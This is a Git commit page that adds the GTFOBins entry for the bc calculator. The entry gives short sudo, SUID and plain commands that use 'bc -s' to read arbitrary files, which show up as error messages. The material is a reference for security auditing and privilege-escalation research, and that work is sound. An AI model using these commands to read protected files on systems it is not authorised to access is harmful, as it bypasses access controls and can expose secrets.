1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
Shadawck 2022-12-16 16:02:30 +01:00 committed by GitHub
parent f6f4797356
commit e637c45b84
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

20
_gtfobins/bc.md Normal file
View File

@ -0,0 +1,20 @@
---
description: The file content is actually parsed and appears as error messages, thus it might not be suitable to read arbitray binary files.
functions:
file-read:
- code: |
LFILE=file_to_read
bc -s $LFILE
quit
sudo:
- code: |
LFILE=file_to_read
sudo bc -s $LFILE
quit
suid:
- code: |
LFILE=file_to_read
./bc -s $LFILE
quit
---